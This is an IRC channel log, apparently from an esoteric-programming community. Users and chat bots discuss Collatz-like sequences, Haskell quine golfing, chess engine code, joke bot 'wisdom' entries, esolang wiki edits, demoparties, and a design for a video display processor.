05:09:47 <lambdabot> [1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2...
05:09:53 <oerjan> if x == 1 (mod 3), then (x-1)/3 is also a counterexample.
05:10:10 <tswet_t> > iterate (\x -> if x `mod` 6 == 4 then (x - 1) `div` 3 else 2 * x) 3
05:10:12 <lambdabot> [3,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576,49152,98304,196608,3...
05:10:36 <tswet_t> > iterate (\x -> if x `mod` 6 == 4 then (x - 1) `div` 3 else 2 * x) 5
05:10:37 <oerjan> x == 4 (mod 6), it should be.
05:10:38 <lambdabot> [5,10,3,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576,49152,98304,196...
05:11:06 <tswet_t> Conjecture: this sequence always reaches a multiple of 3?
05:11:10 <tswet_t> > iterate (\x -> if x `mod` 6 == 4 then (x - 1) `div` 3 else 2 * x) 7
05:11:12 <lambdabot> [7,14,28,9,18,36,72,144,288,576,1152,2304,4608,9216,18432,36864,73728,147456...
05:11:33 <oerjan> i am thinking that the 3*x+1 paths in reverse should be enough to fill it out to polynomial.
05:11:52 <oerjan> but unlike the doubling, they have modulus requirements.
05:13:21 <oerjan> gah an annoying sound driving me crazy again
05:15:43 <tswet_t> https://en.wikipedia.org/wiki/Collatz_conjecture#Rigorous_bounds
05:15:57 <tswet_t> "Although it is not known rigorously whether all positive numbers eventually reach one according to the Collatz iteration, it is known that many numbers do so. In particular, Krasikov and Lagarias showed that the number of integers in the interval [1,x] that eventually reach one is at least proportional to x^0.84."
05:16:34 <tswet_t> I'm pretty sure that means that, say, n^2 is an upper bound on f(n).
05:17:39 <tswet_t> But it apparently we don't actually know that fewer than 100% of all numbers are counterexamples.
05:19:48 <oerjan> hm ok so you need to avoid numbers divisible by 3, because they're inverses never branch out.
05:22:44 <oerjan> 6*x+4, 24*x+16 and 96*x+64 become 2*x+1, 8*x+5 and 32*x+21.
05:23:09 <oerjan> is one of those guaranteed to be not divisible by 3...
05:23:59 <oerjan> 2*x+1 == 0 (mod 3) => 8*x == -4 (mod 3), so yeah.
05:24:32 <oerjan> so you can always branch out some, as long as you don't hit something divisible by 3.
05:27:16 <tswet_t> I wonder if Krasikov and Lagarias just discovered an extension of what we're talking about now.
05:27:25 <tswet_t> Or maybe they discovered *only* what we're talking about now.
05:28:18 <oerjan> it seems like 2 out of 3 of them will go down to something not divisible by 3.
05:32:51 <oerjan> well they'd presumably try to improve the exponent.
05:33:16 <oerjan> but i think this is enough to ensure polynomiality.
05:35:54 <oerjan> you can divide up cases into (mod 18) classes, i think, and all that aren't divisible by 3 will branch out in bounded time.
05:37:24 <oerjan> 18*x+1 -> 36*x+2 -> 72*x+4 -(1)> 24*x+1 -(2)> 144*x+8
05:38:49 <oerjan> with the last one branshing again after a step, i think
05:39:57 <oerjan> 288*x+16 -(3)> 96*x+5 -(4)> 576*x+32
05:41:36 <oerjan> 1->2->4->branch/8->16->branch/32==14
05:43:39 <oerjan> ->28==10 which is one of those that goes to divisible by 3 if you branch.
05:45:53 <oerjan> hm, in fact the only one.
05:46:16 <oerjan> because 4, 10 and 16 are the only branch points (mod 18)
05:49:53 <oerjan> ending up at 1, 3 and 5 (mod 6)
05:51:53 <oerjan> 2->4->8->16->14->10->2 and 6->12->0
05:52:24 <oerjan> so 2 branches every 6 doublings
05:58:14 <HackEgo> Overflow is a phenomenon that occurs when too much water pours into the inner mechanics of a hydrocomputer.
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06:01:25 <oerjan> `slwd overflow//s,mechanics,tanks,;s,ro,raulic,
06:01:27 <HackEgo> overflow//Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydrauliccomputer.
06:01:45 <oerjan> `slwd overflow//s,lic,& ,
06:01:46 <HackEgo> overflow//Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydraulic computer.
06:02:17 <oerjan> rdococ: that was a good one but it needs more authentic terminology.
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06:06:14 <oerjan> also, https://en.wikipedia.org/wiki/MONIAC
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06:14:07 <Jafet> `slwrjan sl[ick]navel\darthl
06:14:08 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: slwrjan: not found
06:14:24 <Jafet> `swrjan sl[ick]navel\darthl
06:14:26 <HackEgo> oerjan//Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it.
06:15:37 <oerjan> that's not a good darth name, it means nothing when prepending in-!
06:17:01 <Jafet> oerjan the darth decisive
06:20:39 <HackEgo> oerjan//Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaneep who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it.
06:29:47 <lambdabot> • Ambiguous type variable ‘a0’ arising from a use of ‘show_M101340286925...
06:29:47 <lambdabot> prevents the constraint ‘(Show a0)’ from being solved.
06:30:13 <oerjan> > gcd minBound 0 :: Integer
06:30:16 <lambdabot> • No instance for (Bounded Integer)
06:30:18 <oerjan> > gcd minBound 0 :: Int
06:30:45 <oerjan> why in the world did that not default?
06:32:48 <oerjan> it's because there's no actual _bounded_ numeric type to default to.
06:35:18 <oerjan> > signum minBound :: Int
06:36:04 <oerjan> > minBound`div`(-1) :: Int
06:37:37 <HackEgo> [wiki] [[Special:Log/newusers]] create * Fractalwizz * New user account
06:47:12 <HackEgo> Hydrocomputing is the field of computer programming which studies the computational power of water.
06:47:59 <HackEgo> alg. ii:Algae II, the successor class to Algae I. Discusses hydroponics and such. \ b_jonas can't spell:b_jonas can't spell these words: weird, hygiene, etymology, mysterious, Odyssey, myopia, carbohydrate, appearance, maintenance, existence, heard, appropriate; and confuses these sets of words: then, than; drought, draught/draft; couch, coach; dep
06:48:11 <HackEgo> 2/4:ch, coach; depreciate, deprecate; dilate, dilute, delate; contiguous, continuous. \ hydra:http://www.madore.org/~david/math/hydra0.xhtml , dire: http://www.madore.org/~david/math/hydra.xhtml , theory: http://www.madore.org/~david/weblog/d.2008-03-27.1537.html http://www.madore.org/~david/weblog/d.2008-03-16.1534.ordinaux-et-hydres.htm
06:48:34 <HackEgo> 3/4:l http://math.andrej.com/2008/02/02/the-hydra-game/ https://en.wikipedia.org/wiki/Goodstein%27s_theorem \ hydrocomputer:Hydrocomputing is the field of computer programming which studies the computational power of water. \ hydrogen:Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or
06:48:43 <HackEgo> 4/4:Saturn, hydrogen might form a superconducting liquid metal. \ overflow:Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydraulic computer.
06:50:22 <HackEgo> bitcoin \ bogosort \ church \ linker \ post-turing machine \ rice \ tg \ turing \ turing complete \ wealhtheow
06:50:53 <oerjan> `` cd wisdom; echo *uring*
06:50:54 <HackEgo> metaturing post-turing machine turing turing complete
06:51:10 <HackEgo> You complete a Turing when you Tur by a specified amount.
06:51:57 <HackEgo> Turing is what you are doing when you Tur
06:52:13 <oerjan> it builds on previous work
06:52:29 <HackEgo> turing//Turing is what you are doing when you Tur.
06:53:37 <shachaf> nor was the previous work especially wise
06:54:26 <HackEgo> This wisdom entry was crushed by a falling anvil.
06:58:56 <HackEgo> A binary tree is an economical design for a computer built into a tree.
06:59:44 <oerjan> nor does it contain a joke that i could discern.
07:01:01 <HackEgo> A pointer is someone who points, usually towards someone or something else.
07:02:01 <HackEgo> A null pointer is a chronic disease which mostly plagues Java.
07:05:37 <oerjan> `learn A pointer is a dog bred to follow instructions.
07:05:39 <HackEgo> Learned 'pointer': A pointer is a dog bred to follow instructions.
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07:13:43 <oerjan> `le/rn null pointer//Null pointers were invented despite having no reason to exist.
07:13:46 <HackEgo> Relearned 'null pointer': Null pointers were invented despite having no reason to exist.
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07:41:32 <Jafet> `le/rn null pointer//Null pointers were bred to be more exceptional than other pointers. However, the whole effort went nowhere.
07:41:34 <HackEgo> Relearned 'null pointer': Null pointers were bred to be more exceptional than other pointers. However, the whole effort went nowhere.
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07:46:28 <oerjan> hmph my golf design seems thwarted by the fact >>= contains an = character
07:47:12 <zzo38> What golf design is that?
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07:55:27 <oerjan> > "this is a demonstration"<$id>>=flip id$words
07:56:17 <oerjan> zzo38: for quining purposes, i need a way to use the contents of a string that is at the beginning of a standalone expression.
07:56:52 <oerjan> with no imports or other top level definitions. and the only ways i have found to that involve using the >>= operator.
07:57:33 <oerjan> ok, there's also a very theoretical way of using `lookup`, if you don't mind waiting until the heat death of the universe.
07:58:00 <lambdabot> [show(foldr(\k a->20*100^n+a*k`div`(2*k+1))0[1..[4,8..]!!n])!!n|n<-[0..]]
07:58:13 <lambdabot> (!!3)<$>transpose[show$foldr(\k a->2*10^2^n+a*k`div`(2*k+1))0[1..2^n]|n<-[0..]]
07:59:23 <oerjan> however, there are also character restrictions and it would have been better if i could do this without using the = character.
07:59:38 <oerjan> of course my design is nowhere near fleshed out yet.
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08:23:16 <Jafet> speaking of golf, I can't seem to find any chess player with readable source
08:24:38 <Jafet> debian's default is “fairymax”, which turns out to be a golfed C program
08:25:48 <Jafet> gnuchess 6 is actually the fruit engine with some extra code added to make it backwards compatible with gnuchess 5
08:27:26 <zzo38> The best chess AI seems to be Stockfish, although I have not seen the code so do not know how readable they are. I also do not know if it is what you are looking for, or if you need xboard protocol, or whatever
08:27:51 <zzo38> (Stockfish uses UCI protocol instead, I think?)
08:28:05 <Jafet> (except some of the old gnuchess 5 code remains, like vestigial wisdom teeth)
08:31:14 <Jafet> crafty's code is haughtily idiosyncratic, like the crafty.c which #includes all 40 thousand lines of the program into one unit
08:34:48 <Jafet> I also suspect that most engines handle 50-move somewhat incorrectly, which only manifests when the threshold is reduced to 1
08:36:43 <Jafet> for example, it looks like crafty knows how to claim the draw after its own move (by FIDE rules), but its search only checks the condition at the beginning of a move
08:45:25 <Jafet> zzo38: I'll look at it; however if the engine is too optimised, it will be harder to adapt to a chess variant
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09:38:46 <fungot> Selected style: irc (IRC logs of freenode/#esoteric, freenode/#scheme and ircnet/#douglasadams)
09:44:32 <Jafet> fungot: are you bored?
09:44:32 <fungot> Jafet: a basic knowledge plus flood reading is better than 3 2
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10:13:15 <int-e> Wow, stockfish code is surprisingly readable.
10:17:42 <int-e> (Though that's not saying much about the difficulty of actually changing it; the bitboard representation, for example, (and not surprisingly) is accessed all over the place in the evaluation function. (and I finally got why popcnt is so useful for chess engines... obvious in retrospect, hmm))
10:57:12 <Jafet> on another golf topic, it seems that chess programmers are actively looking for magic hash functions http://chessprogramming.wikispaces.com/Magic+Bitboards
10:58:50 <int-e> > "<$id>>=flip id$text.(>>=id)((++).show)"<$id>>=flip id$text.(>>=id)((++).show)
10:58:52 <lambdabot> "<$id>>=flip id$text.(>>=id)((++).show)"<$id>>=flip id$text.(>>=id)((++).show)
10:59:27 * int-e wonders what other dirty trick oerjan has up his sleeves
11:01:11 <int-e> but perhaps that's it, with s/text/putStr/
11:03:47 <int-e> > let putStr = text in "<$id>>=flip id$putStr.((++).show>>=id)"<$id>>=flip id$putStr.((++).show>>=id)
11:03:49 <lambdabot> "<$id>>=flip id$putStr.((++).show>>=id)"<$id>>=flip id$putStr.((++).show>>=id)
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13:22:33 <lambdabot> LOWI 161150Z 06013KT 9999 FEW015 SCT030 BKN045 08/05 Q1018 NOSIG
14:22:43 <quintopia> oh i was scrolled back exactly 24 hours
14:22:57 <quintopia> and thought my connection was lagging
14:58:49 <HackEgo> [wiki] [[Assignless]] N https://esolangs.org/w/index.php?oldid=51721 * Rdococ * (+883) Created page with ":''This language is still undergoing design. It may, and will, probably change in the future.'' '''Assignless''' is a work in progress esoteric programming language by User:..."
14:59:40 <HackEgo> [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51722&oldid=51700 * Rdococ * (+24) /* My hopefully better esoteric languages (2017 CE - infinity CE) */
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16:14:19 <HackEgo> kallisti//kallisti is a former prophet swearing off his pastry deity.
16:30:20 <HackEgo> `learn creates a wisdom entry and tries to guess which word is the key. Syntax (case insensitive): `learn [a|an|the] <keyword>[s][punctuation] [...]
16:30:24 <HackEgo> le/rn makes creating wisdom entries manually a thing of the past.
16:31:07 <boily> rdochelloc. learning is good for you.
16:31:52 <rdococ> `le//rn school//School was a slave institution cleverly disguised as education. Fortunately, it was abolished in 2142.
16:31:56 <HackEgo> Learned 'school': School was a slave institution cleverly disguised as education. Fortunately, it was abolished in 2142.
16:39:23 -!- rdococ has left ("Leaving").
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16:52:57 <HackEgo> Help is on the way. We don't know where the way is, though. You might try `help instead.
16:53:33 <rdococ> `le//rn scream//A popular method of writing screams is "AAAAAAAA". True linguists, however, use "IIIIIIII" or "ÆÆÆÆÆÆÆÆ".
16:53:35 <HackEgo> Learned 'scream': A popular method of writing screams is "AAAAAAAA". True linguists, however, use "IIIIIIII" or "ÆÆÆÆÆÆÆÆ".
17:00:52 <rdococ> `le//rn . o O o .//. o O o . is a thought that ends before it begins.
17:00:54 <HackEgo> Learned '. o o o .': . o O o . is a thought that ends before it begins.
17:01:31 <rdococ> `le//rn thought//. o O ( Why are they asking me for what a thought is? )
17:01:34 <HackEgo> Learned 'thought': . o O ( Why are they asking me for what a thought is? )
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17:21:26 <HackEgo> Thank you for participating in the {Your favourite video game laboratory} Egg Hunt. Please proceed to the wisdom entry named Aperture.
17:21:46 <rdococ> @everyone who's here ^^
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17:33:19 <chatter29> to accept Islam say that i bear witness that there is no deity worthy of worship except Allah and Muhammad peace be upon him is his slave and messenger
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17:36:29 <boily> by fungot's nostrils...
17:36:29 <fungot> boily: even if it may change between gcc versions or different ccs. wouldn't it be nice to get it
17:36:44 <boily> fungot: by the way, how many nostrils do you have?
17:36:45 <fungot> boily: i don't get this. i am pondering leaving things in s-expressions before i convert to cps
17:36:58 <HackEgo> A flying spaghetti monster that always consume all of its "input" and outputs *something*
17:38:23 <HackEgo> Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism".
17:39:07 <rdococ> at least now I know how <ch> came to be /tS/
17:52:32 <HackEgo> An FSM is a state machine with noodly appendages.
17:52:58 <int-e> `` cd wisdom; rm egg toward east body wit creative mputing us base half two camel lump hole egg\ hunt aperture ". o O o ."
17:53:00 <HackEgo> rm: cannot remove ‘. o O o .’: No such file or directory
17:53:34 <int-e> `rm wisdom/. o o o .
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17:57:40 <int-e> it wouldn't stand the test of time, and besides we have a rule against changing wisdoms off channel
17:59:47 <rdococ> but there were no wisdoms being changed, only added (and then changed but that's different)
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18:32:52 <\oren\> https://www.youtube.com/watch?v=pSdxVW55h3Q
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20:28:25 <HackEgo> [wiki] [[A1]] N https://esolangs.org/w/index.php?oldid=51723 * Orby * (+3537) Creating initial A1 page
20:31:11 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51724&oldid=51723 * Orby * (+5) Saucy
20:33:58 <HackEgo> [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51725&oldid=51552 * Orby * (+113) Adding A1
20:36:58 <boily> \oren\: the video, it is wutting.
20:38:55 <HackEgo> [wiki] [[Special:Log/newusers]] create * Trakjohnson * New user account
20:53:13 <rdococ> `le//rn AI//Hello, and again, welcome to the #Esoteric Wisdom folder. Be honest, you thought I was GLaDOS, didn't you?
20:53:15 <HackEgo> Learned 'ai': Hello, and again, welcome to the #Esoteric Wisdom folder. Be honest, you thought I was GLaDOS, didn't you?
20:54:27 <rdococ> I always seem to find games when their hayday is just over
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20:55:02 <alercah> rdococ: which game this time?
20:55:25 <rdococ> altho I've known about it for a while, I think I found it just as jokes about it were starting to get old
20:55:48 <int-e> Where are you going? Because I don't think you're going where you think you're going.
20:56:19 <rdococ> I was about to mention a game that seems to be internet taboo to discuss but meh
20:57:44 <rdococ> actually, I probably basically already mentioned it to some people -_-
20:59:29 <rdococ> `le//rn controversy//Controversy is an alternate name for a game released in September of 2015.
20:59:31 <HackEgo> Learned 'controversy': Controversy is an alternate name for a game released in September of 2015.
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21:01:12 <rdococ> `le//rn UT//The UT series is a mathematical infinite series of alternating deconstructions and reconstructions of video games.
21:01:15 <HackEgo> Learned 'ut': The UT series is a mathematical infinite series of alternating deconstructions and reconstructions of video games.
21:01:37 <rdococ> UT^1 deconstructs UT^0, UT^2 deconstructs UT^1, etc.
21:01:51 <rdococ> Technically, UT^0 could be said to deconstruct UT^-1.
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21:35:30 <HackEgo> [wiki] [[A1]] https://esolangs.org/w/index.php?diff=51726&oldid=51724 * Orby * (-99) Making major changes
21:39:11 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51727&oldid=51726 * Orby * (-18) Cleaning up
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22:10:08 <HackEgo> [wiki] [[A1]] https://esolangs.org/w/index.php?diff=51728&oldid=51727 * Orby * (+59) Fixing error in example and changing command
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22:30:01 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51729&oldid=51728 * Orby * (-41) /* Examples Of Assembly Code */ Improving example
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22:38:59 <rdococ> is {XOR, NOT} a functionally complete set?
22:42:03 <rdococ> it's technically the set {XOR, NOT, T, F}
22:48:09 <rdococ> I'm pretty sure material implication is truth-preserving & it's functionally complete
22:56:15 <rdococ> so it's practically FC, for things like OISCs
22:56:51 <rdococ> and even if we ignore that
23:01:55 <rdococ> how about a language that's pure preprocessor
23:09:47 <orby> rdococ: I've thought about that before, I think it's an interesting idea
23:10:02 <rdococ> I'll completely ruin it by trying to design one then!
23:11:48 <rdococ> `le//rn preprocessor//Preprocessing code in C was actually the precursor to IRC & Twitter, and the first to kick off the hashtag craze.
23:11:51 <HackEgo> Learned 'preprocessor': Preprocessing code in C was actually the precursor to IRC & Twitter, and the first to kick off the hashtag craze.
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23:13:47 <rdococ> I'm also going to look up C++ templates. I hear they're TC.
23:13:50 <Remavas-Hex> Well shouldn't the real processing be the so-called "preprocessing"?
23:15:28 <rdococ> so it's C++ really interesting way of making functions that actually understand how an integer and a float are both numbers
23:16:03 <rdococ> wow, you can do it with classes too
23:17:56 <rdococ> and you can metatemplate
23:19:09 <rdococ> #define seems to just be a way to define functions w/o side effects
23:21:16 <alercah> it's a pure text substitution
23:25:56 <HackEgo> [wiki] [[A1]] https://esolangs.org/w/index.php?diff=51730&oldid=51729 * Orby * (+202) Cleanup and improvements. More examples.
23:30:04 <orby> I'm going to start working on a schemantic for an esoteric video display processor and call it teriyaki
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23:35:06 <rdococ> I'm pretty sure C preprocessing code is as close to TC as C can get
23:45:09 <rdococ> `le//rn success//If at first you don't succeed, you fail.
23:45:12 <HackEgo> Learned 'success': If at first you don't succeed, you fail.
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00:19:32 <HackEgo> [wiki] [[Esolang:Introduce yourself]] M https://esolangs.org/w/index.php?diff=51731&oldid=51713 * Fractalwizz * (+243) fractalwizz Introduction
00:20:05 <HackEgo> [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51732&oldid=47049 * Fractalwizz * (+124) Added Interpreter Link
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00:22:06 <trn> Yo guys !!! http://i.imgur.com/NiiUnVd.jpg
00:22:14 <trn> Live at Revision demoparty right now
00:22:24 <trn> A demo in Processing.js and Brainfuck
00:22:33 <trn> With brainfuck on the screen heh
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00:43:33 <Jafet> looks vaguely like computer code stock photos
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00:52:43 <lambdabot> \oren\ said 3d 3h 18m 19s ago: ⸶⸷⸸ are in unicode what are you talking about
00:52:50 <Jafet> pouet lists no web (or esolang) category at revision, I guess this is being screened out of competition
00:53:00 <HackEgo> U+2E38 TURNED DAGGER \ UTF-8: e2 b8 b8 UTF-16BE: 2e38 Decimal: ⸸ \ ⸸ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals)
01:10:31 <rdococ> looooooooooooooooooooooooooooooool
01:10:41 <HackEgo> U+0002 <control> \ UTF-8: 02 UTF-16BE: 0002 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral)
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01:11:21 <HackEgo> U+0003 <control> \ UTF-8: 03 UTF-16BE: 0003 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral)
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01:31:19 <orby> trn: are you at revision? that's awesome btw
01:31:54 <trn> sadly not currently
01:32:18 <trn> Just watching the stream since I couldn't be there
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01:47:38 <orby> trn: it totally slipped my mind that revision was today. are you active in the demoscene?
01:48:29 <orby> My most recent project: http://www.pouet.net/prod.php?which=68783
01:52:22 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51733&oldid=51730 * Orby * (+39) Changing specification to allow for different register widths.
01:53:06 <trn> orby: not active for many years
01:53:18 <orby> shame on you ;)
01:53:31 <trn> I DJ and I still follow the scene tho and use a lot of their music tools etc still
01:53:44 <trn> I could release stuff if I was less lazy etc I guess
01:53:51 <trn> I go to compos when I can
01:54:15 <orby> yeah, I haven't been to any parties yet this year
01:54:29 <orby> I'm in the US, so not a lot of opportunity short of jumping the pond
01:54:38 <orby> I try to make it up to @party at least
01:55:21 <orby> are you close to boston?
01:55:26 <trn> I like revision and Breakpoint but flying all over racks up the bills when we live in US
01:55:40 <trn> and I'm Florida so nope
01:55:45 <trn> Soon Kentucky
01:55:58 <orby> ouch, you could almost get to revision faster than @party
01:56:02 <trn> Generally try to stay outta yankeedom :)
01:56:18 <orby> yeah, I'm in Baltimore, so right on the cusp
02:00:19 <trn> I'm always like "Oh, Revision" must be Easter
02:01:20 <trn> Revision is one of my fav events because it's got the wild compo and diverse stuff and a good scene
02:01:42 <trn> Much rather go to Revision than, say, defcon or something
02:05:51 <orby> I've never been to revision sadly. I hope to one day.
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02:17:29 <HackEgo> [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51734&oldid=51725 * Orby * (+0)
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03:12:30 <HackEgo> [wiki] [[Teriyaki]] N https://esolangs.org/w/index.php?oldid=51735 * Orby * (+1556) Created Teriyaki VDP Page!
03:14:37 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51736&oldid=51733 * Orby * (+61) /* See Also */ Added link to Teriyaki
03:15:20 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51737&oldid=51735 * Orby * (+43) Adding categories
03:29:47 <Jafet> no hardware implementation? isn't this exactly how CRT screens work?
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03:43:07 <orby> Jafet: I don't know enough about NTSC to know whether or not per pixel interrupts are possible. I've never seen it in hardware (probably because it's insane). Maybe it's possible. Who knows?
03:43:49 <orby> If there are any engineers around who want to try it, be my guest
03:44:19 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51738&oldid=51737 * Orby * (+589) Updating with more details
03:44:55 <Jafet> well, real hardware uses synchronised clocks instead of interrupts, but I don't see it making a big difference
03:45:41 <Jafet> unless the display can send interrupts at arbitrary times…
03:45:47 <orby> yeah, but vdps usually raise interrupts on the cpu for vblank and sometimes hblank
03:46:10 <orby> btw I added a note in the spec about the hblank interval for scanline effects. mwahahaha
03:46:48 <orby> Once I get around to writing a vm with these specs I can't wait to write my first raster bars
03:46:52 <Jafet> it seems too easy to work around this by having the interrupt handler read from the double buffer (which programs will be using anyway)
03:47:44 <orby> something like that is clearly neccesary unless the vm restricts ram to something silly like 1k
03:47:57 <orby> which is probably what I'll do for fun :)
03:48:57 <orby> a vm with 1k of ram and a 200 mhz cpu
03:51:14 <orby> the atari vcs only had enough vram for 40 pixels and 256 bytes of ram
03:51:20 <orby> and look at what programmers did with that
04:02:11 <rdococ> can you reference other #defined functions in #definitions?
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04:22:45 <Jafet> I don't think the “very fast CPU” is meaningful either; even for buffered displays the CPU must match the average fill rate, but it doesn't need to be much faster (only a few extra cycles per pixel to handle the interrupt)
04:23:45 <Jafet> well, it depends on how quickly the CPU can handle interrupts; A1 shouldn't be hard because there are only a handful of registers to save
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04:26:14 <rdococ> why not an assembly programming language where everything is a system interrupt
04:26:24 <rdococ> need to MOV something? INT!
04:26:50 <Jafet> also known as minix *cough*
04:28:27 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51739&oldid=51738 * Orby * (+267) Ditched interrupts to force users to cycle count ;) Changed timing notes from microseconds to cycles to reflect the fact that the VDP should be on the same clock as the cpu
04:28:58 <orby> oh man, I can't wait to start writing effects for this stupid thing
04:29:03 <orby> what an absurd idea
04:29:56 <rdococ> I'm working on an extremely high level language if you're interested
04:30:16 <rdococ> I'm talking computer algebra systems
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04:31:40 <rdococ> if high level languages were a race, it would win before the race even started
04:36:44 <orby> Jafet: I think with the current timing scheme, users will be forced to do something other than simply dump to a frame buffer during the vblank and copy values to the palette during the drawing period
04:37:04 <orby> as it would only leave 8 cycles per pixel to render a frame buffer
04:37:51 <orby> hmm, maybe that means my vblank numbers are too low
04:38:10 <orby> I wish I had more experience with how video signals are timed out
04:38:43 <orby> the only machines I have experience with this stuff on usually have around 100,000 cycles available during the vblank
04:38:51 <orby> obviously I have cycle counted since the 80s...
04:41:00 <orby> Hmm, yeah my vblank period is only about 2.5% of the refresh, that sounds low
04:48:39 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51740&oldid=51739 * Orby * (+120) Updating timing with more realistic VBLANK numbers
04:55:27 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51741&oldid=51740 * Orby * (+3) /* Timing */ Cranking down timing for modesty
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05:05:27 <hppavilion[1]> It's when you run HTTP by having someone do the request for you by reading them the request through Vo/IP, then having them read the response bytes back to you
05:06:33 <rdococ> EML: Esoteric Markup Language :P (ik it's not the same category as HTTP, but seeing as it's often related to HTML, meh)
05:08:24 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51742&oldid=51741 * Orby * (-1) /* Strategies */ typo
05:10:02 <hppavilion[1]> rdococ: When reading about Crocker's Rules, I came across the term "social communication protocol", which is an interesting concept
05:10:46 <rdococ> I wanted to come up with something original. seems like I never get to :c
05:11:28 <rdococ> also, when I search up "social communication protocol" I see search results about a disorder (apparently, everything in a child is now a disorder).
05:13:27 <rdococ> I waned to be original, but :/
05:13:40 <rdococ> I can't make an EML with that masterpiece there
05:13:50 <rdococ> it'll just be like every single time I try to make a programming language
05:15:19 <rdococ> Actually, to be fair, I didn't see an actual markup language there - but I think that's the point
05:16:00 <rdococ> Additionally, there are probably more ways to improve paper.
05:16:13 <HackEgo> [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51743&oldid=51734 * Orby * (+97) Adding Teriyaki to projects page
05:18:47 <rdococ> For example, why have a semi-linear, fixed chunk of text at all? Have different subtopics that can be moved and dragged around for more customizable reading.
05:20:11 <rdococ> Why not get rid of the idea of webpages entirely, and just have a network of interconnected nodes, each one containing interactive information?
05:20:39 <hppavilion[1]> rdococ: I do think that the client should have more choice in presentation, and there should be a multi-layered approach to display where you can start with lower-level data
05:21:03 <hppavilion[1]> Like, I could just get the text and basic emphasis markup and not ask for as much styling information
05:21:28 <rdococ> Maybe we do need an esoteric markup language after all.
05:21:33 <rdococ> it won't be esoteric :/
05:23:57 <hppavilion[1]> rdococ: I think the ultimate goal of esolangery is to get something so crazy it wraps around and actually has a decent use
05:24:23 <rdococ> I've never been good at that.
05:24:26 <hppavilion[1]> rdococ: Like, I designed Ingredients-based programming on a whim and I'm pretty sure it has real possibilities in security
05:24:51 <rdococ> I don't understand quantum computing very well.
05:25:03 <rdococ> Do you want me to try nevertheless?
05:26:23 <hppavilion[1]> rdococ: I understand quantum computing 1000000 times better than you, which basically means I can say the words "hilbert space" and that's it
05:26:46 <rdococ> nice way to make me feel down
05:27:47 <rdococ> Odd way to be self-detrimental, but okay.
05:27:57 <hppavilion[1]> rdococ: "which basically means I can say the words \"hilbert space\" and that's it"
05:28:06 <hppavilion[1]> rdococ: I mean, the point was also that quantum computing is *hard*
05:29:03 <rdococ> What should I try and fail to create this time?
05:29:07 <HackEgo> If at first you don't succeed, you fail.
05:29:37 <rdococ> `le//rn failure//If at first you don't fail, you succeed.
05:29:39 <HackEgo> Learned 'failure': If at first you don't fail, you succeed.
05:29:50 <rdococ> `le//rn failure//If at first you don't fail, you fail later.
05:29:52 <HackEgo> Relearned 'failure': If at first you don't fail, you fail later.
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05:34:17 <HackEgo> hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. No es tan cluecless. Él aspira a ser más incomprensible que esta sabiduría.
05:34:23 <HackEgo> project xanadu? ¯\(°_o)/¯
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05:46:37 <Jafet> orby: the obvious approach would be to render the first scanline during the vblank, then render the next scanline between interrupts
05:48:46 <orby> Jafet: Hmm, well during the scanline you'll need to update the palette, so that will eat up most of your time between scanlines
05:48:49 <HackEgo> [wiki] [[DStack]] https://esolangs.org/w/index.php?diff=51744&oldid=45924 * -Dark-Phantom- * (+51) Online interpreter link
05:48:54 <HackEgo> [wiki] [[ROOP]] https://esolangs.org/w/index.php?diff=51745&oldid=46059 * -Dark-Phantom- * (+49) Online interpreter link
05:49:23 <orby> I've rewritten the page to talk about timing in terms of cycles rather than seconds and ditched the interrupts under the assumption that the vdp will run on the same clock as the cpu anyway
05:50:19 <orby> so, assuming that most of the time during the actual scan will be eatten up by updating the palette, there are current 8192 cycles between scanlines to do stuff, which leaves 64 cycles per pixel if you want to do it the way you're talking about
05:50:58 <Jafet> the point is that any CPU that can handle the fillrate for a conventional video processor plus a few cycles per pixel interrupt can generally also handle this device without much trouble
05:51:53 <Jafet> it just needs to render ahead far enough that “difficult” pixels can be amortized
05:53:54 <orby> I think the lack of a frame buffer will definitely present a problem. I don't think there is enough time during the hblank to do very much, and certainly not enough time during the pixel interrupt to actually render anything.
05:54:26 <orby> It's definitely not impossible, by design. But I think it would be fun.
